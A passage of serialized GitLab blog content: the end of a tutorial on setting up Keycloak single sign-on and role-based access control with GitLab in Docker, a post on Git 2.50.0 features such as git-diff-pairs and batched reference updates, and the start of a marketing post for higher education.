Role)\"]\n    HardwareTeam[\"Hardware-Team\"]\n    HardwareDevelopers[\"Developers\"]\n    SoftwareTeam[\"Software-Team\"]\n    SoftwareDevelopers[\"Developers\"]\n    SoftwareMaintainers[\"Maintainers\"]\n    SoftwareReporters[\"Reporters\"]\n    \n    Enterprise --> FirmwareTeam\n    Enterprise --> HardwareTeam\n    Enterprise --> SoftwareTeam\n    \n    FirmwareTeam --> FirmwareDevelopers\n    FirmwareTeam --> FirmwareMaintainers\n    FirmwareTeam --> FirmwareReporters\n    \n    HardwareTeam --> HardwareDevelopers\n    \n    SoftwareTeam --> SoftwareDevelopers\n    SoftwareTeam --> SoftwareMaintainers\n    SoftwareTeam --> SoftwareReporters\n```\n\n## Demo system setup: GitLab + Keycloak in a local Docker environment\n### Prerequisites\n\n- Docker, Docker Compose, OpenSSL\n- GitLab Version 17.7.3 and Keycloak Version 23.0.7 container images\n- Self-signed certificates\n\n### .env configuration\n\nThe demo setup is using the following GitLab and Keycloak versions, ports and secrets.\n\n#### GitLab configuration\n\n```bash\nGITLAB_VERSION=17.7.3-ee.0\nGITLAB_EXTERNAL_URL=http://localhost:8081\nGITLAB_SSH_PORT=8222\n```\n\n####  Keycloak configuration\n\n```bash\nKEYCLOAK_VERSION=latest\nKEYCLOAK_ADMIN=\u003Cyour-admin-username>\nKEYCLOAK_ADMIN_PASSWORD=\u003Cyour-admin-password>\nKEYCLOAK_HTTPS_PORT=8443\nKEYCLOAK_CLIENT_SECRET=\u003Cyour-client-secret>  # Get this from Keycloak after setup\n```\n\n## Generate SSL certificates\n\nTo establish trust between GitLab and Keycloak, especially in a self-hosted Docker environment, we’ll need to generate self-signed SSL certificates. These certificates will enable encrypted HTTPS communication and ensure GitLab can securely talk to Keycloak during the OIDC authentication process.\n\nFor production environments, we recommend using certificates from a trusted Certificate Authority (CA), but for local testing and development, self-signed certificates are sufficient.\n\nFollow these step-by-step instructions:\n\n1. Create a folder for the certificates.\n\n\n``` mkdir -p certs```\n\n2. Generate a self-signed certificate with OpenSSL.\n\n```bash\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 \\\n  -keyout certs/tls.key \\\n  -out certs/tls.crt \\\n  -subj \"/CN=keycloak\" \\\n  -addext \"subjectAltName=DNS:keycloak,DNS:localhost\"\n```\n\n3. Create a PKCS12 keystore for Keycloak.\n\n\n```bash\nopenssl pkcs12 -export \\\n  -in certs/tls.crt \\\n  -inkey certs/tls.key \\\n  -out certs/keystore.p12 \\\n  -name keycloak \\\n  -password pass:password\n```\n\n## Start the service using Docker compose\n\nNow that we have our certificates, we can stand up our local GitLab + Keycloak environment using Docker Compose:\n\n\n```yaml\nversion: '3.8'\nservices:\n  gitlab:\n    image: gitlab/gitlab-ee:${GITLAB_VERSION}\n    container_name: gitlab\n    restart: unless-stopped\n    environment:\n      GITLAB_OMNIBUS_CONFIG: |\n        external_url '${GITLAB_EXTERNAL_URL:-http://localhost:8081}'\n        gitlab_rails['gitlab_shell_ssh_port'] = ${GITLAB_SSH_PORT:-8222}\n        gitlab_rails['display_initial_root_password'] = true\n\n        # OAuth Configuration\n        gitlab_rails['omniauth_enabled'] = true\n        gitlab_rails['omniauth_allow_single_sign_on'] = ['openid_connect']\n        gitlab_rails['omniauth_block_auto_created_users'] = false\n        gitlab_rails['omniauth_providers'] = [\n            {\n                'name' => 'openid_connect',\n                'label' => 'Keycloak',\n                'args' => {\n                    'name' => 'openid_connect',\n                    'scope' => ['openid', 'profile', 'email'],\n                    'response_type' => 'code',\n                    'issuer' => 'https://localhost:8443/realms/GitLab',\n                    'client_auth_method' => 'query',\n                    'discovery' => false,\n                    'uid_field' => 'preferred_username',\n                    'pkce' => true,\n                    'client_options' => {\n                        'identifier' => 'gitlab',\n                        'secret' => '${KEYCLOAK_CLIENT_SECRET}',\n                        'redirect_uri' => '${GITLAB_EXTERNAL_URL:-http://localhost:8081}/users/auth/openid_connect/callback',\n                        'authorization_endpoint' => 'https://localhost:8443/realms/GitLab/protocol/openid-connect/auth',\n                        'token_endpoint' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/token',\n                        'userinfo_endpoint' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/userinfo',\n                        'jwks_uri' => 'https://keycloak:8443/realms/GitLab/protocol/openid-connect/certs'\n                    }\n                }\n            }\n        ]\n    volumes:\n      - gl-config:/etc/gitlab\n      - gl-data:/var/opt/gitlab\n      - ./certs/tls.crt:/etc/gitlab/trusted-certs/keycloak.crt\n    ports:\n      - '${GITLAB_EXTERNAL_PORT:-8081}:8081'\n      - '${GITLAB_SSH_PORT:-8222}:22'\n    shm_size: '256m'\n\n  keycloak:\n    image: quay.io/keycloak/keycloak:${KEYCLOAK_VERSION}\n    container_name: keycloak-server\n    restart: unless-stopped\n    command: [\n      \"start-dev\",\n      \"--import-realm\",\n      \"--https-port=${KEYCLOAK_HTTPS_PORT}\",\n      \"--https-key-store-file=/etc/x509/https/keystore.p12\",\n      \"--https-key-store-password=password\"\n    ]\n    volumes:\n      - ./data:/opt/keycloak/data/import\n      - ./certs:/etc/x509/https\n    environment:\n      KEYCLOAK_ADMIN: ${KEYCLOAK_ADMIN}\n      KEYCLOAK_ADMIN_PASSWORD: ${KEYCLOAK_ADMIN_PASSWORD}\n    ports:\n      - \"${KEYCLOAK_HTTPS_PORT}:8443\"\n\nvolumes:\n  gl-config:\n  gl-data:\n```\n\n  \nRun the `docker-compose up -d` command and your GitLab + Keycloak environment will be up in minutes.\n\n\n```\ndocker-compose up -d\n```\n\n## Keycloak realm configuration\n\nYour Keycloak realm is automatically configured on startup as it's defined in the `docker-compose` file.\n\nThe realm configuration will include:\n\n- Pre-configured GitLab client\n- Default client secret\n\nYou can access Keycloak admin console at `https://localhost:8443` with:\n\n- Username: admin\n- Password: from your `.env` file\n- To verify the setup:\n  - Log into Keycloak admin console\n  - Select the **GitLab** realm\n  - Check **Clients > gitlab**\n\n\nVerify the client configuration matches your environment.\n\nTo showcase the automated RBAC mechanism, you will need to follow these steps:\n\n- Map realm roles to GitLab roles\n- Create group structure with mapping roles, matching the Group, Sub-group, Project pattern in GitLab.\n\nBefore provisioning your first users to the user groups, it’s recommended to log into your GitLab instance to retrieve your instance root password:\n\n1. Access GitLab at `http://localhost:8081`.\n\n2. Get the root password:\n\n``` \ndocker exec gitlab grep 'Password:' `/etc/gitlab/initial_root_password`\n\n```\n\n3. Log in as root with the retrieved password.\n\n## Putting it all together\n\nTo demonstrate the power of this integrated RBAC model, start by walking through a real-world user journey — from identity to access. \n\nBegin in Keycloak by showcasing a user assigned to specific realm roles (e.g., developer, maintainer) and groups (e.g., /engineering/platform). These roles have been mapped to GitLab access levels via OIDC claims, while group affiliations align with GitLab’s structured hierarchy of root groups, sub-groups, and projects. \n\nUpon login through GitLab’s SSO Keycloak endpoint, the user is automatically provisioned into the correct group and assigned the appropriate role — with no manual intervention. \n\nWithin GitLab, you can see that the  user can interact with the assigned project: For example, a developer might push code and open a merge request, but not merge to protected branches — validating the least-privilege model. \n\nFinally, you can showcase access across multiple teams or products that are managed centrally in Keycloak, yet enforced precisely in GitLab through group sync and permissions inheritance. This demo illustrates not just role assignment, but how GitLab and Keycloak together deliver real-time, automated access governance at scale — ready for secure, compliant, enterprise-grade software development.\n\n## Why GitLab?\n\nGitLab’s comprehensive, intelligent DevSecOps platform is the ideal foundation for secure, scalable access management. With native OIDC support, granular role enforcement, SCIM-based user provisioning, and built-in audit logging, GitLab allows organizations to centralize control without compromising agility. Its flexible group hierarchy mirrors enterprise structure, making it easy to manage access across teams. \n\nIntegrating with identity providers like Keycloak automates onboarding, ensures least-privilege access, and creates a seamless identity-to-permission pipeline that supports regulatory and security goals. As a core component of GitLab’s security capabilities, RBAC ties directly into CI/CD, policy enforcement, and vulnerability management workflows.\n\n## Summary\nRBAC is just the beginning. With GitLab and Keycloak, you’re not just securing access — you’re enabling structured, automated governance that scales. As you expand into policy enforcement, Secure SDLC, and DevSecOps automation, this foundation becomes a launchpad for sustainable, enterprise-grade software delivery.\n\n> Get started with RBAC in GitLab today with a free, 60-day trial of GitLab Ultimate. [Sign up today](https://about.gitlab.com/free-trial/)!",[674],[1106,1107,1108],"James Wormwell","Paul Meresanu","Kees Valkhof",{"featured":92,"template":678,"slug":1110},"automating-role-based-access-control-rbac-at-scale","content:en-us:blog:automating-role-based-access-control-rbac-at-scale.yml","Automating Role Based Access Control Rbac At Scale","en-us/blog/automating-role-based-access-control-rbac-at-scale.yml","en-us/blog/automating-role-based-access-control-rbac-at-scale",{"_path":1116,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1117,"content":1121,"config":1129,"_id":1132,"_type":16,"title":1133,"_source":17,"_file":1134,"_stem":1135,"_extension":20},"/en-us/blog/gitlab-18-1-released",{"config":1118,"title":1119,"description":1120},{"noIndex":92},"GitLab 18.1 released","This release includes Maven virtual registry (beta), Duo Code Review, compromised password detection, and SLSA level 1 with components.",{"heroImage":1122,"title":1119,"description":1123,"authors":1124,"date":1126,"body":1127,"category":695,"tags":1128},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750333905/erq4ak30f6zxjjcsmt4y.png","This release includes Maven virtual registry (beta), Duo Code Review, compromised password detection, and SLSA Level 1 with components.",[1125],"Tim Rizzi","2025-06-19","This is the article for [GitLab 18.1 release](https://about.gitlab.com/releases/2025/06/19/gitlab-18-1-released/).",[774,695],{"featured":92,"template":678,"slug":1130,"externalUrl":1131},"gitlab-18-1-released","https://about.gitlab.com/releases/2025/06/19/gitlab-18-1-released/","content:en-us:blog:gitlab-18-1-released.yml","Gitlab 18 1 Released","en-us/blog/gitlab-18-1-released.yml","en-us/blog/gitlab-18-1-released",{"_path":1137,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1138,"content":1141,"config":1149,"_id":1151,"_type":16,"title":1152,"_source":17,"_file":1153,"_stem":1154,"_extension":20},"/en-us/blog/what-s-new-in-git-2-50-0",{"noIndex":6,"title":1139,"description":1140},"What’s new in Git 2.50.0?","Here are contributions from GitLab's Git team and the Git community such as the git-diff-pairs(1) command and git-rev-list(1) option to perform batched reference updates.",{"title":1139,"description":1142,"authors":1143,"heroImage":1145,"body":1146,"date":1147,"category":813,"tags":1148},"Here are contributions from GitLab's Git team and the Git community such as the git-diff-pairs(1) command and git-update-ref(1) option to perform batched reference updates.",[1144],"Justin Tobler","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","The Git project recently released [Git Version 2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u). Let's look at a few notable highlights from this release, which includes contributions from the Git team at GitLab and also the wider Git community.\n## New git-diff-pairs(1) command\n\nDiffs are at the heart of every code review and show all the changes made\nbetween two revisions. GitLab shows diffs in various places, but the most\ncommon place is a merge request's [\"Changes\" tab](https://docs.gitlab.com/user/project/merge_requests/changes/).\nBehind the scenes, diff generation is powered by\n[`git-diff(1)`](https://git-scm.com/docs/git-diff). For example:\n\n```shell\n$ git diff HEAD~1 HEAD\n```\n\nThis command returns the full diff for all changed files. This might pose a scalability challenge because the number of files changed between a set of revisions could be very large and cause the command to reach self-imposed timeouts for the GitLab backend. For large change sets, it would be better if\nthere were a way to break diff computation into smaller, more digestible chunks.\n\nOne way this can be achieved is by using\n[`git-diff-tree(1)`](https://git-scm.com/docs/git-diff-tree) to retrieve info\nabout all the changed files:\n\n```shell\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n```\n\nGit refers to this output as the [\"raw\" format](https://git-scm.com/docs/git-diff-tree#_raw_output_format).\nIn short, each line of output lists filepairs and the accompanying metadata\nabout what has changed between the start and end revisions. Compared to\ngenerating the \"patch\" output for large changes, this process is relatively\nquick and provides a summary of everything that changed. This command can optionally perform rename detection by  appending the `-M` flag to check if identified changes were due to a file rename.\n\nWith this information, we could use `git-diff(1)` to compute each of the\nfilepair diffs individually. For example, we can provide the blob IDs\ndirectly:\n\n```shell\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f\n```\n\nWe can repeat this process for each of the filepairs, but spinning up a\nseparate Git process for each individual file diff is not very efficient.\nFurthermore, when using blob IDs, the diff loses some contextual information\nsuch as the change status, and file modes which are stored in with the parent\ntree object. What we really want is a mechanism to feed \"raw\" filepair info and\ngenerate the corresponding patch output.\n\nWith the 2.50 release, Git has a new built-in command named\n[`git-diff-pairs(1)`](https://git-scm.com/docs/git-diff-pairs). This command\naccepts \"raw\" formatted filepair info as input on stdin to determine exactly which patches to output. The following example showcases how this command could be\nused:\n\n```shell\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z\n```\n\nWhen used in this manner, the resulting output is identical to using `git-diff(1)`.\nBy having a separate command to generate patch output, the \"raw\" output from\n`git-diff-tree(1)` can be broken up into smaller batches of filepairs and fed to separate\n`git-diff-pairs(1)` processes. This solves the previously mentioned scalability\nconcern because diffs no longer have to be computed all at once. Future GitLab\nreleases could build upon this mechanism to improve diff\ngeneration performance, especially in cases where large change sets are\nconcerned. For more information on this change, check out the corresponding\n[mailing-list thread](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/).\n\n_This project was led by [Justin Tobler](https://gitlab.com/justintobler)._\n\n## Batched reference updates\n\nGit provides the [`git-update-ref(1)`](https://git-scm.com/docs/git-update-ref)\ncommand to perform reference updates. When used with the `--stdin` flag,\nmultiple reference updates can be batched together in a single transaction by\nspecifying instructions for each reference update to be performed on stdin.\nBulk updating references in this manner also provides atomic behavior whereby a\nsingle reference update failure results in an aborted transaction and no\nreferences being updated. Here is an example showcasing this behavior:\n\n```shell\n# Create repository with three empty commits and branch named \"foo\"\n$ git init\n$ git commit --allow-empty -m 1\n$ git commit --allow-empty -m 2\n$ git commit --allow-empty -m 3\n$ git branch foo\n\n# Print out the commit IDs\n$ git rev-list HEAD\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n5a74cd330f04b96ce0666af89682d4d7580c354c\n5a6b339a8ebffde8c0590553045403dbda831518\n\n# Attempt to create a new reference and update existing reference in transaction.\n# Update is expected to fail because the specified old object ID doesn’t match.\n$ git update-ref --stdin \u003C\u003CEOF\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n> EOF\nfatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n# The \"bar\" reference was not created.\n$ git switch bar\nfatal: invalid reference: bar\n```\n\nCompared to updating many references individually, updating in bulk is also\nmuch more efficient. While this works well, there might be certain\ncircumstances where it is okay for a subset of the requested reference updates\nto fail, but we still want to take advantage of the efficiency gains of bulk\nupdates.\n\nWith this release, `git-update-ref(1)` has the new `--batch-updates` option,\nwhich allows the updates to proceed even when one or more reference updates\nfails. In this mode, individual failures are reported in the following format:\n\n```text\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP \u003Crejection-reason> LF\n```\n\nThis allows successful reference updates to proceed while providing context to\nwhich updates were rejected and for what reason. Using the same example\nrepository from the previous example:\n\n```shell\n# Attempt to create a new reference and update existing reference in transaction.\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n> EOF\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n# The \"bar\" reference was created even though the update to \"foo\" was rejected.\n$ git switch bar\nSwitched to branch 'bar'\n```\n\nThis time, with the `--batch-updates` option, the reference creation succeeded\neven though the update didn't work. This patch series lays the groundwork for\nfuture performance improvements in `git-fetch(1)` and `git-receive-pack(1)`\nwhen references are updated in bulk. For more information, check the\n[mailing-list thread](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)\n\n_This project was led by [Karthik Nayak](https://gitlab.com/knayakgl)._\n\n## New filter option for git-cat-file(1)\n\nWith [`git-cat-file(1)`](https://git-scm.com/docs/git-cat-file), it is possible\nto print info for all objects contained in the repository via the\n`--batch–all-objects` option. For example:\n\n```shell\n# Setup simple repository.\n$ git init\n$ echo foo >foo\n$ git add foo\n$ git commit -m init\n\n# Create an unreachable object.\n$ git commit --amend --no-edit\n\n# Use git-cat-file(1) to print info about all objects including unreachable objects.\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nIn some situations, a user might want to search through all objects in the\nrepository, but only output a subset based on some specified attribute. For\nexample, if we wanted to see only the objects that are commits, we could use\n`grep(1)`:\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nWhile this works, one downside with filtering the output is that\n`git-cat-file(1)` still has to traverse all the objects in the repository, even\nthe ones that the user is not interested in. This can be rather inefficient.\n\nWith this release, `git-cat-file(1)` now has the `--filter` option, which only\nshows objects matching the specified criteria. This is similar to the option of\nthe same name for `git-rev-list(1)`, but with only a subset of the filters\nsupported. The supported filters are `blob:none`, `blob:limit=`, as well as\n`object:type=`. Similar to the previous example, objects can be filtered by\ntype with Git directly:\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nNot only is it convenient for Git to handle the processing, for large\nrepositories with many objects, it is also potentially more efficient. If a\nrepository has bitmap indices, it becomes possible for Git to efficiently\nlookup objects of a specific type, and thus avoid scanning through the\npackfile, which leads to a significant speedup. Benchmarks conducted on the\n[Chromium repository](https://github.com/chromium/chromium.git) show\nsignificant improvements:\n\n```text\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter\n   Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s]\n   Range (min … max):   73.936 s … 89.690 s    10 runs\n\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag\n   Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms]\n   Range (min … max):    18.2 ms …  23.6 ms    127 runs\n\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit\n   Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s]\n   Range (min … max):    1.541 s …  1.566 s    10 runs\n\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree\n   Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s]\n   Range (min … max):   11.114 s … 11.245 s    10 runs\n\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob\n   Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s]\n   Range (min … max):   62.836 s … 73.618 s    10 runs\n\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none\n   Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s]\n   Range (min … max):   12.960 s … 13.199 s    10 runs\n\nSummary\n   git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag\n    74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit\n   538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree\n   627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none\n  3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob\n  3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter\n```\n\nInterestingly, these results indicate that the computation time now scales with\nthe number of objects for a given type instead of the number of total objects\nin the packfile. The original mailing-list thread can be found\n[here](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/).\n\n_This project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab)._\n\n## Improved performance when generating bundles\n\nGit provides a means to generate an archive of a repository which contains a\nspecified set of references and accompanying reachable objects via the\n[`git-bundle(1)`](https://git-scm.com/docs/git-bundle) command. This operation\nis used by GitLab to generate repository backups and also as part of the\n[bundle-URI](https://git-scm.com/docs/bundle-uri) mechanism.\n\nFor large repositories containing millions of references, this operation can\ntake hours or even days. For example, with the main GitLab repository\n([gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)), backup times were\naround 48 hours. Investigation revealed there was a performance bottleneck due\nto how Git was performing a check to avoid duplicated references being included\nin the bundle. The implementation used a nested `for` loop to iterate and\ncompare all listed references, leading to O(N^2) time complexity. This scales\nvery poorly as the number of references in a repository increases.\n\nIn this release, this issue was addressed by replacing the nested loops with a\nmap data structure leading to a significant speedup. The following benchmark\nthe performance improvement for creating a bundle with a repository containing\n100,000 references:\n\n```text\nBenchmark 1: bundle (refcount = 100000, revision = master)\n  Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s]\n  Range (min … max):   14.237 s … 14.920 s    10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD)\n  Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s]\n  Range (min … max):    2.364 s …  2.425 s    10 runs\n\nSummary\n  bundle (refcount = 100000, revision = HEAD) ran\n    6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n```\n\nTo learn more, check out our blog post\n[How we decreased GitLab repo backup times from 48 hours to 41 minutes](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/).\nYou can also find the original mailing list thread\n[here](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/).\n\n_This project was led by [Karthik Nayak](https://gitlab.com/knayakgl)._\n\n## Better bundle URI unbundling\n\nThrough the [bundle URI](https://git-scm.com/docs/bundle-uri) mechanism in Git,\nlocations to fetch bundles from can be provided to clients with the goal to\nhelp speed up clones and fetches. When a client downloads a bundle, references\nunder `refs/heads/*` are copied from the bundle into the repository along with\ntheir accompanying objects. A bundle might contain additional references\noutside of `refs/heads/*` such as `refs/tags/*`, which are simply ignored when\nusing bundle URI on clone.\n\nIn Git 2.50, this restriction is lifted, and all references\nmatching `refs/*` contained in the downloaded bundle are copied.\n[Scott Chacon](https://github.com/schacon), who contributed this functionality,\ndemonstrates the difference when cloning\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss):\n\n```shell\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\nCloning into 'gl2.49'...\nremote: Enumerating objects: 1092703, done.\nremote: Counting objects: 100% (973405/973405), done.\nremote: Compressing objects: 100% (385827/385827), done.\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\nChecking objects: 100% (4194304/4194304), done.\nChecking connectivity: 959668, done.\nUpdating files: 100% (59972/59972), done.\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\nCloning into 'gl-2.50'...\nremote: Enumerating objects: 65538, done.\nremote: Counting objects: 100% (56054/56054), done.\nremote: Compressing objects: 100% (28950/28950), done.\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\nUpdating files: 100% (59972/59972), done.\n```\n\nComparing these results, we see that Git 2.50 fetches 43,887 objects\n(40.42 MiB) after the bundle was extracted whereas Git 2.49 fetches a\ntotal of 959,773 objects (366.94 MiB). Git 2.50 fetches roughly 95% fewer\nobjects and 90% less data, which benefits both the client and the server. The\nserver needs to process a lot less data to the client and the client needs to\ndownload and extract less data. In the example provided by Scott this led to a\nspeedup of 25%.\n\nTo learn more, check out the corresponding\n[mailing-list thread](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/).\n\n_This patch series was contributed by [Scott Chacon](https://github.com/schacon)._\n\n## Read more\n\nThis article highlighted just a few of the contributions made by GitLab and\nthe wider Git community for this latest release. You can learn about these from\nthe [official release announcement](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/) of the Git project. Also, check\nout our [previous Git release blog posts](https://about.gitlab.com/blog/tags/git/)\nto see other past highlights of contributions from GitLab team members.\n","2025-06-16",[1067,815,267],{"featured":92,"template":678,"slug":1150},"what-s-new-in-git-2-50-0","content:en-us:blog:what-s-new-in-git-2-50-0.yml","What S New In Git 2 50 0","en-us/blog/what-s-new-in-git-2-50-0.yml","en-us/blog/what-s-new-in-git-2-50-0",{"_path":1156,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1157,"content":1160,"config":1166,"_id":1169,"_type":16,"title":1170,"_source":17,"_file":1171,"_stem":1172,"_extension":20},"/en-us/blog/gitlab-patch-release-18-0-2-17-11-4-17-10-8",{"config":1158,"title":1159,"description":708},{"noIndex":92},"GitLab Patch Release: 18.0.2, 17.11.4, 17.10.8",{"title":1159,"description":708,"authors":1161,"heroImage":712,"date":1163,"body":1164,"category":695,"tags":1165},[1162],"Costel Maxim","2025-06-11","This is the [patch release for GitLab Community Edition (CE) and Enterprise Edition (EE)](https://about.gitlab.com/releases/2025/06/11/patch-release-gitlab-18-0-2-released/).",[695,716],{"featured":6,"template":678,"externalUrl":1167,"slug":1168},"https://about.gitlab.com/releases/2025/06/11/patch-release-gitlab-18-0-2-released/","gitlab-patch-release-18-0-2-17-11-4-17-10-8","content:en-us:blog:gitlab-patch-release-18-0-2-17-11-4-17-10-8.yml","Gitlab Patch Release 18 0 2 17 11 4 17 10 8","en-us/blog/gitlab-patch-release-18-0-2-17-11-4-17-10-8.yml","en-us/blog/gitlab-patch-release-18-0-2-17-11-4-17-10-8",{"_path":1174,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1175,"content":1183,"config":1190,"_id":1192,"_type":16,"title":1193,"_source":17,"_file":1194,"_stem":1195,"_extension":20},"/en-us/blog/ai-native-gitlab-premium-transform-higher-education-software-development",{"title":1176,"description":1177,"ogTitle":1176,"ogDescription":1177,"noIndex":6,"ogImage":1178,"ogUrl":1179,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1179,"schema":1182},"AI-native GitLab Premium: Transform higher education software development","The DevSecOps platform's enterprise-grade features for academic workflows, data protection, and support ensure better collaboration, security, and efficiency.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659537/Blog/Hero%20Images/display-article-image-0679-1800x945-fy26.png","https://about.gitlab.com/blog/ai-native-gitlab-premium-transform-higher-education-software-development","https://about.gitlab.com","article","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"AI-native GitLab Premium: Transform higher education software development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jessica Hurwitz\"},{\"@type\":\"Person\",\"name\":\"Elisabeth Burrows\"}],\n        \"datePublished\": \"2025-06-10\",\n      }",{"title":1176,"description":1177,"authors":1184,"heroImage":1178,"date":1187,"body":1188,"category":695,"tags":1189},[1185,1186],"Jessica Hurwitz","Elisabeth Burrows","2025-06-10","Educational institutions increasingly rely on modern software development practices to support teaching, research, and administrative functions. As development needs grow more complex in university and college environments, GitLab Premium with Duo provides essential capabilities that address the unique challenges faced by higher education – particularly around open source development, remote collaboration, and enterprise-grade security.\n\nGitLab's comprehensive, intelligent DevSecOps platform delivers value that extends far beyond fundamental version control. Built on an open source foundation with enterprise-grade features, GitLab Premium helps prevent costly security incidents involving student data, provides cloud-based development environments for distributed teams, and offers the professional support that educational institutions need for mission-critical systems. And now [Premium includes GitLab Duo AI essentials](https://about.gitlab.com/blog/gitlab-premium-with-duo/) Code Suggestions and Chat at no additional cost.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1083723619?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Premium with Duo Core\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## The unique development environment in higher education\n\nUniversities and colleges operate in a distinctly challenging technical environment. Development teams must support multidisciplinary collaboration across technical and non-technical departments while managing vast amounts of sensitive data – from student records and financial information to 